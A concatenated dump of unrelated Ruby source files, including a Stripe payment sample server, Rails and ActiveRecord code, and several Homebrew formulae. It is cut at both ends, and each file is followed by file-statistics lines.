payload = Sinatra::IndifferentHash[JSON.parse(request.body.read)] end begin if payload[:payment_intent_id] # Confirm the PaymentIntent payment_intent = Stripe::PaymentIntent.confirm(payload[:payment_intent_id], {:use_stripe_sdk => true}) elsif payload[:payment_method_id] # Calculate how much to charge the customer amount = calculate_price(payload[:amount], payload[:shipping]) # Create and confirm the PaymentIntent payment_intent = Stripe::PaymentIntent.create( :amount => amount, :currency => currency_for_country(payload[:country]), :customer => payload[:customer_id] || @customer.id, :source => payload[:source], :payment_method => payload[:payment_method_id], :payment_method_types => payment_methods_for_country(payload[:country]), :description => "Example PaymentIntent", :shipping => payload[:shipping], :return_url => payload[:return_url], :confirm => true, :confirmation_method => "manual", # Set use_stripe_sdk for mobile apps using Stripe iOS SDK v16.0.0+ or Stripe Android SDK v10.0.0+ # Do not set this on apps using Stripe SDK versions below this. :use_stripe_sdk => true, :capture_method => ENV['CAPTURE_METHOD'] == "manual" ? "manual" : "automatic", :metadata => { :order_id => '5278735C-1F40-407D-933A-286E463E72D8', }.merge(payload[:metadata] || {}), ) else status 400 return log_info("Error: Missing params. Pass payment_intent_id to confirm or payment_method to create") end rescue Stripe::StripeError => e status 402 return log_info("Error: #{e.message}") end return generate_payment_response(payment_intent) end def generate_payment_response(payment_intent) # Note that if your API version is before 2019-02-11, 'requires_action' # appears as 'requires_source_action'. if payment_intent.status == 'requires_action' # Tell the client to handle the action status 200 return { requires_action: true, secret: payment_intent.client_secret }.to_json elsif payment_intent.status == 'succeeded' or (payment_intent.status == 'requires_capture' and ENV['CAPTURE_METHOD'] == "manual") # The payment didn’t need any additional actions and is completed! # Handle post-payment fulfillment status 200 return { :success => true }.to_json else # Invalid status status 500 return "Invalid PaymentIntent status" end end # ===== Helpers # Our example apps sell emoji apparel; this hash lets us calculate the total amount to charge. EMOJI_STORE = { "👕" => 2000, "👖" => 4000, "👗" => 3000, "👞" => 700, "👟" => 600, "👠" => 1000, "👡" => 2000, "👢" => 2500, "👒" => 800, "👙" => 3000, "💄" => 2000, "🎩" => 5000, "👛" => 5500, "👜" => 6000, "🕶" => 2000, "👚" => 2500, } def price_lookup(product) price = EMOJI_STORE[product] raise "Can't find price for %s (%s)" % [product, product.ord.to_s(16)] if price.nil? return price end def calculate_price(amount, shipping) if shipping amount = amount + shipping end return amount end def currency_for_country(country) # Determine currency to use. Generally a store would charge different prices for # different countries, but for the sake of simplicity we'll charge X of the local currency. case country when 'us' 'usd' when 'mx' 'mxn' when 'my' 'myr' when 'at', 'be', 'de', 'es', 'it', 'nl', 'pl' 'eur' when 'au' 'aud' when 'gb' 'gbp' when 'zar' 'zar' else 'usd' end end def payment_methods_for_country(country) case country when 'us' %w[card] when 'zar' %w[card] when 'mx' %w[card oxxo] when 'my' %w[card fpx] when 'nl' %w[card ideal sepa_debit sofort] when 'au' %w[card au_becs_debit] when 'gb' %w[card bacs_debit] when 'es', 'it' %w[card sofort] when 'pl' %w[card p24] when 'be' %w[card sofort bancontact] when 'de' %w[card sofort giropay] when 'at' %w[card sofort eps] when 'sg' %w[card alipay] else %w[card] end end
30.724466
141
0.682799
7a0c838ef6a724c8850565db95ab46632be14daf
430
require 'rails_helper' # Specs in this file have access to a helper object that includes # the SitesHelper. For example: # # describe SitesHelper do # describe "string concat" do # it "concats two strings with spaces" do # expect(helper.concat_strings("this","that")).to eq("this that") # end # end # end RSpec.describe SitesHelper, type: :helper do pending "add some examples to (or delete) #{__FILE__}" end
26.875
71
0.704651
e8fcdabecd6ccfe17e755eb2bc5b68f485ec5c0e
217
class Api::V1::Merchants::MostItemsController < ApplicationController def index number_of_merchants = params[:quantity].to_i render json: Merchant.merchants_with_most_items(number_of_merchants) end end
21.7
72
0.792627
876c479bff630a2736fd8451f1080b07335c84b3
769
class Antigen < Formula desc "Plugin manager for zsh, inspired by oh-my-zsh and vundle." homepage "http://antigen.sharats.me/" url "https://github.com/zsh-users/antigen/releases/download/v2.2.1/v2.2.1.tar.gz" sha256 "fb3b79ea5cb5f00644d2f352c4d17c4e67b76d050aadda830198315e8ed96873" head "https://github.com/zsh-users/antigen.git", :branch => "develop" bottle :unneeded def install pkgshare.install "bin/antigen.zsh" end def caveats; <<-EOS.undent To activate antigen, add the following to your ~/.zshrc: source #{HOMEBREW_PREFIX}/share/antigen/antigen.zsh EOS end test do (testpath/".zshrc").write "source #{HOMEBREW_PREFIX}/share/antigen/antigen.zsh\n" system "zsh", "--login", "-i", "-c", "antigen help" end end
30.76
85
0.706112
28acb3f928db4835cdcfbdeac22757646d395879
3,428
# typed: false # frozen_string_literal: true class QtWebkitAT23 < Formula desc "Qt port of WebKit (insecure, don't use for Web browsing)" homepage "https://trac.webkit.org/wiki/QtWebKit" url "https://download.kde.org/stable/qtwebkit-2.3/2.3.4/src/qtwebkit-2.3.4.tar.gz" sha256 "c6cfa9d068f7eb024fee3f6c24f5b8b726997f669007587f35ed4a97d40097ca" revision 1 bottle do root_url "https://dl.bintray.com/cartr/autobottle-qt4" sha256 mojave: "773ffe1a0c26ab27824bed4d1d5fa55655ca0f454cc938585d122ae000fd21ff" sha256 high_sierra: "5dd5a1c9a191e9d2c4245cad33db18044fcb501f9af3128916827eba44282ebb" sha256 sierra: "e01b4ee5cc9abc69bebf01f104ea9d74f3af840160d977e6d81f80d5b8bf5e4f" sha256 el_capitan: "fd1d1b30bb87d94e140dcdfee41ac69383b590c6166deee4056c06fa638dc8ff" sha256 yosemite: "3b88371ffd6fb1a671e47867a9cc3561bcb4af65cc9c6dde644d9cb4aac6311d" end depends_on "cartr/qt4/qt@4" # Put data and import files into this formula's cellar instead of installing them globally. patch :DATA def install ENV["QTDIR"] = Formula["cartr/qt4/qt@4"].opt_prefix ENV["INSTALL_DATA"] = "#{prefix}/etc/qt4" ENV["INSTALL_LIBS"] = lib system "Tools/Scripts/build-webkit", "--qt", "--no-webkit2", "--no-video", "--install-headers=#{include}", "--install-libs=#{lib}", "--minimal" system "make", "-C", "WebKitBuild/Release", "install" end def caveats <<~EOS This is years old and really insecure. You shouldn't use it if you don't absolutely trust the HTML files#{" "} you're using it to browse. Definely avoid using it in a general-purpose Web browser. #{" "} Also, video doesn't work. EOS end end __END__ diff --git a/Source/WebKit/qt/declarative/experimental/experimental.pri b/Source/WebKit/qt/declarative/experimental/experimental.pri index 8e8d528..97075f5 100644 --- a/Source/WebKit/qt/declarative/experimental/experimental.pri +++ b/Source/WebKit/qt/declarative/experimental/experimental.pri @@ -38,10 +38,7 @@ DEFINES += HAVE_WEBKIT2 WEBKIT += wtf javascriptcore webkit2 -# The fallback to QT_INSTALL_IMPORTS can be removed once we -# depend on Qt 5 RC1. -importPath = $$[QT_INSTALL_QML] -isEmpty(importPath): importPath = $$[QT_INSTALL_IMPORTS] +importPath = $$(INSTALL_LIBS)/qt4/imports target.path = $${importPath}/$${TARGET.module_name} diff --git a/Source/WebKit/qt/declarative/public.pri b/Source/WebKit/qt/declarative/public.pri index 7cb3bbf..77e80d0 100644 --- a/Source/WebKit/qt/declarative/public.pri +++ b/Source/WebKit/qt/declarative/public.pri @@ -46,10 +46,7 @@ SOURCES += plugin.cpp QT += network } -# The fallback to QT_INSTALL_IMPORTS can be removed once we -# depend on Qt 5 RC1. -importPath = $$[QT_INSTALL_QML] -isEmpty(importPath): importPath = $$[QT_INSTALL_IMPORTS] +importPath = $$(INSTALL_LIBS)/qt4/imports target.path = $${importPath}/$${TARGET.module_name} diff --git a/Source/api.pri b/Source/api.pri index f9d6fbc..413eb9b 100644 --- a/Source/api.pri +++ b/Source/api.pri @@ -118,7 +118,7 @@ haveQt(5) { } else { # For Qt4 we have to set up install rules manually modulefile.files = $${ROOT_WEBKIT_DIR}/Tools/qmake/qt_webkit.pri - mkspecs = $$[QMAKE_MKSPECS] + mkspecs = $$(INSTALL_DATA)/mkspecs mkspecs = $$split(mkspecs, :) modulefile.path = $$last(mkspecs)/modules INSTALLS += modulefile
37.26087
132
0.718786
f7509ecefae0cf45a1cf67c3ba95c3bb35ef9795
70
platform "fedora-34-x86_64" do |plat| plat.inherit_from_default end
17.5
37
0.785714
18ad68fc9fce7f5e5b0742131789251b86449399
1,267
class Neofetch < Formula desc "Fast, highly customisable system info script" homepage "https://github.com/dylanaraps/neofetch" url "https://github.com/dylanaraps/neofetch/archive/7.1.0.tar.gz" sha256 "58a95e6b714e41efc804eca389a223309169b2def35e57fa934482a6b47c27e7" license "MIT" head "https://github.com/dylanaraps/neofetch.git" bottle do cellar :any_skip_relocation sha256 "65997eaa4358eba12ea2eaa20d3a7daa3b30acfae81aa447eab47894d808670e" => :big_sur sha256 "da4b88eedb327e2c50fb80e39c5e2b453d447cc07be88479e11c8fdc26e128ec" => :arm64_big_sur sha256 "9d88c0c07ebdeddaf68a5512a7f4a36cbc52851dfb1c6fc63b446f6a9baaaa01" => :catalina sha256 "9d88c0c07ebdeddaf68a5512a7f4a36cbc52851dfb1c6fc63b446f6a9baaaa01" => :mojave sha256 "9d88c0c07ebdeddaf68a5512a7f4a36cbc52851dfb1c6fc63b446f6a9baaaa01" => :high_sierra sha256 "09a8b957e3e61f847d8a169747b1afbb8cc271bfbd21d1d0a5e34f2359289f47" => :x86_64_linux end if OS.mac? depends_on "imagemagick" depends_on "screenresolution" end def install system "make", "install", "PREFIX=#{prefix}" end test do system "#{bin}/neofetch", "--config", "none", "--color_blocks", "off", "--disable", "wm", "de", "term", "gpu" end end
38.393939
95
0.753749
62d8417dfcfc62daddda03770b96aa0bc194a6f0
1,368
class Simgrid < Formula desc "Studies behavior of large-scale distributed systems" homepage "http://simgrid.gforge.inria.fr" url "https://gforge.inria.fr/frs/download.php/file/37148/SimGrid-3.17.tar.gz" sha256 "f5e44f41983e83f65261598ab0de1909d3a8a3feb77f28e37d38f04631dbb908" bottle do sha256 "25156b23d0a2779e9d8207266d621c4328d83f1089005969991733e5007bb1d0" => :high_sierra sha256 "5b383b0c5f6c6191a4843f7e419ca4739254d96d3c33bcba7cc19e05efd8b537" => :sierra sha256 "a9a7b7d60cb9b7f586767d1225bd2a0ca10708285c2fb41ee84d8233b531d288" => :el_capitan sha256 "0d274989d9c5a3bdb26a185d42a620fa3f4ddcce646351e09de5c16a97ba2c18" => :x86_64_linux end depends_on "cmake" => :build depends_on "doxygen" => :build depends_on "boost" depends_on "pcre" depends_on :python3 depends_on "graphviz" def install system "cmake", ".", "-Denable_debug=on", "-Denable_compile_optimizations=off", *std_cmake_args system "make", "install" end test do (testpath/"test.c").write <<~EOS #include <stdio.h> #include <stdlib.h> #include <simgrid/msg.h> int main(int argc, char* argv[]) { printf("%f", MSG_get_clock()); return 0; } EOS system ENV.cc, "test.c", "-lsimgrid", "-o", "test" system "./test" end end
30.4
94
0.684211
d5cf6b6bbd56251942b84eef7f713a121a0c3c13
939
class MultiSchema def active? ENV['DATABASE'] == 'postgresql' end def create(schema_name) unless connection.schema_exists? schema_name connection.execute %Q{CREATE SCHEMA "#{schema_name}"} end switch schema_name silence_stream(STDOUT) { load Rails.root.join('db', 'schema.rb') } end def current connection.schema_search_path end def switch(schema_name) connection.schema_search_path = %Q{"#{schema_name}"} connection.clear_query_cache end private def connection ActiveRecord::Base.connection end class IndexSet < ThinkingSphinx::IndexSet private def indices return super if index_names.any? prefixed = !multi_schema.current.include?('public') super.select { |index| prefixed ? index.name[/_two_core$/] : index.name[/_two_core$/].nil? } end def multi_schema @multi_schema ||= MultiSchema.new end end end
19.978723
75
0.676251
87f53d7c5583360afb8296c3088c8b242839b198
144
class CompetitionsPublished < ActiveRecord::Migration def change add_column :competitions, :published, :boolean, default: false end end
24
66
0.777778
e86cbe6bfe15bf513c6732aeea0e6e6d9072e78a
274
# frozen_string_literal: true require "#{Rails.root}/app/lib/omni_auth/strategies/wild_apricot" Rails.application.config.middleware.use OmniAuth::Builder do provider :wildapricot, ENV['WA_OAUTH_ID'], ENV['WA_OAUTH_SECRET'], :callback_path => "/callback/wildapricot" end
34.25
110
0.788321
4a1f24f8536e27c835d9c32025186f731c0e09a5
1,394
require 'refinerycms-core' require 'mobility' module Refinery autoload :PagesGenerator, 'generators/refinery/pages/pages_generator' module Pages require 'refinery/pages/engine' require 'refinery/pages/tab' require 'refinery/pages/type' require 'refinery/pages/types' # Load configuration last so that everything above is available to it. require 'refinery/pages/configuration' autoload :InstanceMethods, 'refinery/pages/instance_methods' class << self def root @root ||= Pathname.new(File.expand_path('../../../', __FILE__)) end def factory_paths @factory_paths ||= [ root.join('spec', 'factories').to_s ] end def valid_templates(*pattern) ([Rails.root] | Refinery::Plugins.registered.pathnames).map { |p| Dir[p.join(*pattern).to_s].flatten.map do |f| File.basename(f).split('.').first end }.flatten.uniq end def default_parts_for(page) return default_parts unless page.view_template.present? types.find_by_name(page.view_template).parts end end module Admin autoload :InstanceMethods, 'refinery/pages/admin/instance_methods' end end end ActiveSupport.on_load(:active_record) do require 'awesome_nested_set' end require 'friendly_id' require 'seo_meta' require 'babosa' require 'speakingurl-rails'
25.814815
74
0.67934
33646ad54f5a3f3243bd77d7ed1151182deced7f
21,079
# frozen_string_literal: true module ActiveRecord # = Active Record Autosave Association # # AutosaveAssociation is a module that takes care of automatically saving # associated records when their parent is saved. In addition to saving, it # also destroys any associated records that were marked for destruction. # (See #mark_for_destruction and #marked_for_destruction?). # # Saving of the parent, its associations, and the destruction of marked # associations, all happen inside a transaction. This should never leave the # database in an inconsistent state. # # If validations for any of the associations fail, their error messages will # be applied to the parent. # # Note that it also means that associations marked for destruction won't # be destroyed directly. They will however still be marked for destruction. # # Note that <tt>autosave: false</tt> is not same as not declaring <tt>:autosave</tt>. # When the <tt>:autosave</tt> option is not present then new association records are # saved but the updated association records are not saved. # # == Validation # # Child records are validated unless <tt>:validate</tt> is +false+. # # == Callbacks # # Association with autosave option defines several callbacks on your # model (around_save, before_save, after_create, after_update). Please note that # callbacks are executed in the order they were defined in # model. You should avoid modifying the association content before # autosave callbacks are executed. Placing your callbacks after # associations is usually a good practice. # # === One-to-one Example # # class Post < ActiveRecord::Base # has_one :author, autosave: true # end # # Saving changes to the parent and its associated model can now be performed # automatically _and_ atomically: # # post = Post.find(1) # post.title # => "The current global position of migrating ducks" # post.author.name # => "alloy" # # post.title = "On the migration of ducks" # post.author.name = "Eloy Duran" # # post.save # post.reload # post.title # => "On the migration of ducks" # post.author.name # => "Eloy Duran" # # Destroying an associated model, as part of the parent's save action, is as # simple as marking it for destruction: # # post.author.mark_for_destruction # post.author.marked_for_destruction? # => true # # Note that the model is _not_ yet removed from the database: # # id = post.author.id # Author.find_by(id: id).nil? # => false # # post.save # post.reload.author # => nil # # Now it _is_ removed from the database: # # Author.find_by(id: id).nil? # => true # # === One-to-many Example # # When <tt>:autosave</tt> is not declared new children are saved when their parent is saved: # # class Post < ActiveRecord::Base # has_many :comments # :autosave option is not declared # end # # post = Post.new(title: 'ruby rocks') # post.comments.build(body: 'hello world') # post.save # => saves both post and comment # # post = Post.create(title: 'ruby rocks') # post.comments.build(body: 'hello world') # post.save # => saves both post and comment # # post = Post.create(title: 'ruby rocks') # comment = post.comments.create(body: 'hello world') # comment.body = 'hi everyone' # post.save # => saves post, but not comment # # When <tt>:autosave</tt> is true all children are saved, no matter whether they # are new records or not: # # class Post < ActiveRecord::Base # has_many :comments, autosave: true # end # # post = Post.create(title: 'ruby rocks') # comment = post.comments.create(body: 'hello world') # comment.body = 'hi everyone' # post.comments.build(body: "good morning.") # post.save # => saves post and both comments. # # Destroying one of the associated models as part of the parent's save action # is as simple as marking it for destruction: # # post.comments # => [#<Comment id: 1, ...>, #<Comment id: 2, ...]> # post.comments[1].mark_for_destruction # post.comments[1].marked_for_destruction? # => true # post.comments.length # => 2 # # Note that the model is _not_ yet removed from the database: # # id = post.comments.last.id # Comment.find_by(id: id).nil? # => false # # post.save # post.reload.comments.length # => 1 # # Now it _is_ removed from the database: # # Comment.find_by(id: id).nil? # => true # # === Caveats # # Note that autosave will only trigger for already-persisted association records # if the records themselves have been changed. This is to protect against # <tt>SystemStackError</tt> caused by circular association validations. The one # exception is if a custom validation context is used, in which case the validations # will always fire on the associated records. module AutosaveAssociation extend ActiveSupport::Concern module AssociationBuilderExtension #:nodoc: def self.build(model, reflection) model.send(:add_autosave_association_callbacks, reflection) end def self.valid_options [ :autosave ] end end included do Associations::Builder::Association.extensions << AssociationBuilderExtension mattr_accessor :index_nested_attribute_errors, instance_writer: false, default: false end module ClassMethods # :nodoc: private def define_non_cyclic_method(name, &block) return if method_defined?(name, false) define_method(name) do |*args| result = true # Loop prevention for validation of associations unless @_already_called[name] begin @_already_called[name] = true result = instance_eval(&block) ensure @_already_called[name] = false end end result end end # Adds validation and save callbacks for the association as specified by # the +reflection+. # # For performance reasons, we don't check whether to validate at runtime. # However the validation and callback methods are lazy and those methods # get created when they are invoked for the very first time. However, # this can change, for instance, when using nested attributes, which is # called _after_ the association has been defined. Since we don't want # the callbacks to get defined multiple times, there are guards that # check if the save or validation methods have already been defined # before actually defining them. def add_autosave_association_callbacks(reflection) save_method = :"autosave_associated_records_for_#{reflection.name}" if reflection.collection? around_save :around_save_collection_association define_non_cyclic_method(save_method) { save_collection_association(reflection) } # Doesn't use after_save as that would save associations added in after_create/after_update twice after_create save_method after_update save_method elsif reflection.has_one? define_non_cyclic_method(save_method) { save_has_one_association(reflection) } # Configures two callbacks instead of a single after_save so that # the model may rely on their execution order relative to its # own callbacks. # # For example, given that after_creates run before after_saves, if # we configured instead an after_save there would be no way to fire # a custom after_create callback after the child association gets # created. after_create save_method after_update save_method else define_non_cyclic_method(save_method) { throw(:abort) if save_belongs_to_association(reflection) == false } before_save save_method end define_autosave_validation_callbacks(reflection) end def define_autosave_validation_callbacks(reflection) validation_method = :"validate_associated_records_for_#{reflection.name}" if reflection.validate? && !method_defined?(validation_method) if reflection.collection? method = :validate_collection_association else method = :validate_single_association end define_non_cyclic_method(validation_method) { send(method, reflection) } validate validation_method after_validation :_ensure_no_duplicate_errors end end end # Reloads the attributes of the object as usual and clears <tt>marked_for_destruction</tt> flag. def reload(options = nil) @marked_for_destruction = false @destroyed_by_association = nil @_saving = false super end def save(**options) # :nodoc _saving { super } end def save!(**options) # :nodoc: _saving { super } end # Marks this record to be destroyed as part of the parent's save transaction. # This does _not_ actually destroy the record instantly, rather child record will be destroyed # when <tt>parent.save</tt> is called. # # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model. def mark_for_destruction @marked_for_destruction = true end # Returns whether or not this record will be destroyed as part of the parent's save transaction. # # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model. def marked_for_destruction? @marked_for_destruction end # Records the association that is being destroyed and destroying this # record in the process. def destroyed_by_association=(reflection) @destroyed_by_association = reflection end # Returns the association for the parent being destroyed. # # Used to avoid updating the counter cache unnecessarily. def destroyed_by_association @destroyed_by_association end # Returns whether or not this record has been changed in any way (including whether # any of its nested autosave associations are likewise changed) def changed_for_autosave? new_record? || has_changes_to_save? || marked_for_destruction? || nested_records_changed_for_autosave? end private # Track if this record is currently being saved. # Autosave can call save multiple times on the same record. Some methods # like +changes_applied+ should be called only once while saving. def _saving previously_saving, @_saving = @_saving, true yield ensure @_saving = previously_saving @_already_called[:changes_applied] = false unless @_saving end # Returns the record for an association collection that should be validated # or saved. If +autosave+ is +false+ only new records will be returned, # unless the parent is/was a new record itself. def associated_records_to_validate_or_save(association, new_record, autosave) if new_record || custom_validation_context? association && association.target elsif autosave association.target.find_all(&:changed_for_autosave?) else association.target.find_all(&:new_record?) end end # Go through nested autosave associations that are loaded in memory (without loading # any new ones), and return true if any are changed for autosave. # Returns false if already called to prevent an infinite loop. def nested_records_changed_for_autosave? @_nested_records_changed_for_autosave_already_called ||= false return false if @_nested_records_changed_for_autosave_already_called begin @_nested_records_changed_for_autosave_already_called = true self.class._reflections.values.any? do |reflection| if reflection.options[:autosave] association = association_instance_get(reflection.name) association && Array.wrap(association.target).any?(&:changed_for_autosave?) end end ensure @_nested_records_changed_for_autosave_already_called = false end end # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is # turned on for the association. def validate_single_association(reflection) association = association_instance_get(reflection.name) record = association && association.reader association_valid?(reflection, record) if record && (record.changed_for_autosave? || custom_validation_context?) end # Validate the associated records if <tt>:validate</tt> or # <tt>:autosave</tt> is turned on for the association specified by # +reflection+. def validate_collection_association(reflection) if association = association_instance_get(reflection.name) if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave]) records.each_with_index { |record, index| association_valid?(reflection, record, index) } end end end # Returns whether or not the association is valid and applies any errors to # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt> # enabled records if they're marked_for_destruction? or destroyed. def association_valid?(reflection, record, index = nil) return true if record.destroyed? || (reflection.options[:autosave] && record.marked_for_destruction?) context = validation_context if custom_validation_context? unless valid = record.valid?(context) if reflection.options[:autosave] indexed_attribute = !index.nil? && (reflection.options[:index_errors] || ActiveRecord::Base.index_nested_attribute_errors) record.errors.group_by_attribute.each { |attribute, errors| attribute = normalize_reflection_attribute(indexed_attribute, reflection, index, attribute) errors.each { |error| self.errors.import( error, attribute: attribute ) } } else errors.add(reflection.name) end end valid end def normalize_reflection_attribute(indexed_attribute, reflection, index, attribute) if indexed_attribute "#{reflection.name}[#{index}].#{attribute}" else "#{reflection.name}.#{attribute}" end end # Is used as an around_save callback to check while saving a collection # association whether or not the parent was a new record before saving. def around_save_collection_association previously_new_record_before_save = (@new_record_before_save ||= false) @new_record_before_save = !previously_new_record_before_save && new_record? yield ensure @new_record_before_save = previously_new_record_before_save end # Saves any new associated records, or all loaded autosave associations if # <tt>:autosave</tt> is enabled on the association. # # In addition, it destroys all children that were marked for destruction # with #mark_for_destruction. # # This all happens inside a transaction, _if_ the Transactions module is included into # ActiveRecord::Base after the AutosaveAssociation module, which it does by default. def save_collection_association(reflection) if association = association_instance_get(reflection.name) autosave = reflection.options[:autosave] # By saving the instance variable in a local variable, # we make the whole callback re-entrant. new_record_before_save = @new_record_before_save # reconstruct the scope now that we know the owner's id association.reset_scope if records = associated_records_to_validate_or_save(association, new_record_before_save, autosave) if autosave records_to_destroy = records.select(&:marked_for_destruction?) records_to_destroy.each { |record| association.destroy(record) } records -= records_to_destroy end records.each do |record| next if record.destroyed? saved = true if autosave != false && (new_record_before_save || record.new_record?) if autosave saved = association.insert_record(record, false) elsif !reflection.nested? association_saved = association.insert_record(record) if reflection.validate? errors.add(reflection.name) unless association_saved saved = association_saved end end elsif autosave saved = record.save(validate: false) end raise(RecordInvalid.new(association.owner)) unless saved end end end end # Saves the associated record if it's new or <tt>:autosave</tt> is enabled # on the association. # # In addition, it will destroy the association if it was marked for # destruction with #mark_for_destruction. # # This all happens inside a transaction, _if_ the Transactions module is included into # ActiveRecord::Base after the AutosaveAssociation module, which it does by default. def save_has_one_association(reflection) association = association_instance_get(reflection.name) record = association && association.load_target if record && !record.destroyed? autosave = reflection.options[:autosave] if autosave && record.marked_for_destruction? record.destroy elsif autosave != false key = reflection.options[:primary_key] ? public_send(reflection.options[:primary_key]) : id if (autosave && record.changed_for_autosave?) || record_changed?(reflection, record, key) unless reflection.through_reflection record[reflection.foreign_key] = key if inverse_reflection = reflection.inverse_of record.association(inverse_reflection.name).inversed_from(self) end end saved = record.save(validate: !autosave) raise ActiveRecord::Rollback if !saved && autosave saved end end end end # If the record is new or it has changed, returns true. def record_changed?(reflection, record, key) record.new_record? || association_foreign_key_changed?(reflection, record, key) || record.will_save_change_to_attribute?(reflection.foreign_key) end def association_foreign_key_changed?(reflection, record, key) return false if reflection.through_reflection? record._has_attribute?(reflection.foreign_key) && record._read_attribute(reflection.foreign_key) != key end # Saves the associated record if it's new or <tt>:autosave</tt> is enabled. # # In addition, it will destroy the association if it was marked for destruction. def save_belongs_to_association(reflection) association = association_instance_get(reflection.name) return unless association && association.loaded? && !association.stale_target? record = association.load_target if record && !record.destroyed? autosave = reflection.options[:autosave] if autosave && record.marked_for_destruction? self[reflection.foreign_key] = nil record.destroy elsif autosave != false saved = record.save(validate: !autosave) if record.new_record? || (autosave && record.changed_for_autosave?) if association.updated? association_id = record.public_send(reflection.options[:primary_key] || :id) self[reflection.foreign_key] = association_id association.loaded! end saved if autosave end end end def custom_validation_context? validation_context && [:create, :update].exclude?(validation_context) end def _ensure_no_duplicate_errors errors.uniq! end def changes_applied @_already_called[:changes_applied] = true super end # Call +changes_applied+ at least once or if attributes changed def _apply_changes?(attribute_names) !@_already_called[:changes_applied] || attribute_names.present? end end end
38.748162
134
0.661464
8752cb954bc0122fb5009930962c1a8a76c2d864
556
require 'spec_helper' describe OmniAuth::Strategies::Crunch do subject do OmniAuth::Strategies::Crunch.new({}) end context 'client options' do it 'should have correct name' do subject.options.name.should eq('crunch') end it 'should have correct site' do subject.options.client_options.site.should eq('https://demo.crunch.co.uk') end it 'should have correct authorize url' do subject.options.client_options.authorize_path.should eq( '/crunch-core/login/oauth-login.seam' ) end end end
23.166667
80
0.685252
4a256ec24ec3ed8f6debe46b07155740a165c58e
2,852
# Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::DeploymentManager::Mgmt::V2019_11_01_preview module Models # # Defines the properties of a rollout. # class RolloutPropertiesModel include MsRestAzure # @return [String] The current status of the rollout. attr_accessor :status # @return [Integer] The cardinal count of total number of retries # performed on the rollout at a given time. attr_accessor :total_retry_attempts # @return [RolloutOperationInfo] Operational information of the rollout. attr_accessor :operation_info # @return [Array<Service>] The detailed information on the services being # deployed. attr_accessor :services # # Mapper for RolloutPropertiesModel class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'RolloutProperties', type: { name: 'Composite', class_name: 'RolloutPropertiesModel', model_properties: { status: { client_side_validation: true, required: false, read_only: true, serialized_name: 'status', type: { name: 'String' } }, total_retry_attempts: { client_side_validation: true, required: false, read_only: true, serialized_name: 'totalRetryAttempts', type: { name: 'Number' } }, operation_info: { client_side_validation: true, required: false, read_only: true, serialized_name: 'operationInfo', type: { name: 'Composite', class_name: 'RolloutOperationInfo' } }, services: { client_side_validation: true, required: false, read_only: true, serialized_name: 'services', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'ServiceElementType', type: { name: 'Composite', class_name: 'Service' } } } } } } } end end end end
30.021053
79
0.497195
f70e955634b05caed3f96aa7433b9b28bd5eab83
172
# encoding: utf-8 require 'mlk/version' require 'mlk/utils' require 'mlk/result_set' require 'mlk/document' require 'mlk/model' module Mlk # Your code goes here... end
14.333333
26
0.726744
1a7501518f6e1cc254bab6c89443c05887a9a424
7,714
class Subversion < Formula desc "Version control system designed to be a better CVS" homepage "https://subversion.apache.org/" url "https://www.apache.org/dyn/closer.lua?path=subversion/subversion-1.14.0.tar.bz2" mirror "https://archive.apache.org/dist/subversion/subversion-1.14.0.tar.bz2" sha256 "6ba8e218f9f97a83a799e58a3c6da1221d034b18d9d8cbbcb6ec52ab11722102" revision 1 bottle do sha256 "fafdcb854d1f26002a3b8b7441c1b730f661df18183c1316a08cbb07a81c11ad" => :catalina sha256 "39c56ae66e13e28ac8b15bcc2855bbdbee806f64cb7df866668d40f9cac6046e" => :mojave sha256 "f3cce9b1572065c211b85e9734d1eb687ce031a1e5699a034c23eb167bcfa84b" => :high_sierra end head do url "https://github.com/apache/subversion.git", :branch => "trunk" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "gettext" => :build end depends_on "openjdk" => :build depends_on "pkg-config" => :build depends_on "[email protected]" => :build depends_on "scons" => :build # For Serf depends_on "swig" => :build depends_on "apr" depends_on "apr-util" # build against Homebrew versions of # gettext, lz4, perl, sqlite and utf8proc for consistency depends_on "gettext" depends_on "lz4" depends_on "[email protected]" # For Serf depends_on "perl" depends_on "[email protected]" unless OS.mac? depends_on "sqlite" depends_on "utf8proc" depends_on "libtool" unless OS.mac? uses_from_macos "expat" uses_from_macos "krb5" uses_from_macos "ruby" uses_from_macos "zlib" resource "py3c" do url "https://github.com/encukou/py3c/archive/v1.1.tar.gz" sha256 "c7ffc22bc92dded0ca859db53ef3a0b466f89a9f8aad29359c9fe4ff18ebdd20" end resource "serf" do url "https://www.apache.org/dyn/closer.lua?path=serf/serf-1.3.9.tar.bz2" mirror "https://archive.apache.org/dist/serf/serf-1.3.9.tar.bz2" sha256 "549c2d21c577a8a9c0450facb5cca809f26591f048e466552240947bdf7a87cc" end # Prevent "-arch ppc" from being pulled in from Perl's $Config{ccflags} # Prevent linking into a Python Framework patch :DATA if OS.mac? def install py3c_prefix = buildpath/"py3c" serf_prefix = libexec/"serf" resource("py3c").unpack py3c_prefix resource("serf").stage do unless OS.mac? inreplace "SConstruct" do |s| s.gsub! "env.Append(LIBPATH=['$OPENSSL\/lib'])", "\\1\nenv.Append(CPPPATH=['$ZLIB\/include'])\nenv.Append(LIBPATH=['$ZLIB/lib'])" end inreplace "SConstruct" do |s| s.gsub! "print 'Warning: Used unknown variables:', ', '.join(unknown.keys())", "print('Warning: Used unknown variables:', ', '.join(unknown.keys()))" s.gsub! "match = re.search('SERF_MAJOR_VERSION ([0-9]+).*'", "match = re.search(b'SERF_MAJOR_VERSION ([0-9]+).*'" s.gsub! "'SERF_MINOR_VERSION ([0-9]+).*'", "b'SERF_MINOR_VERSION ([0-9]+).*'" s.gsub! "'SERF_PATCH_VERSION ([0-9]+)'", "b'SERF_PATCH_VERSION ([0-9]+)'" end end # scons ignores our compiler and flags unless explicitly passed args = %W[ PREFIX=#{serf_prefix} GSSAPI=#{Formula["krb5"].opt_prefix} CC=#{ENV.cc} CFLAGS=#{ENV.cflags} LINKFLAGS=#{ENV.ldflags} OPENSSL=#{Formula["[email protected]"].opt_prefix} APR=#{Formula["apr"].opt_prefix} 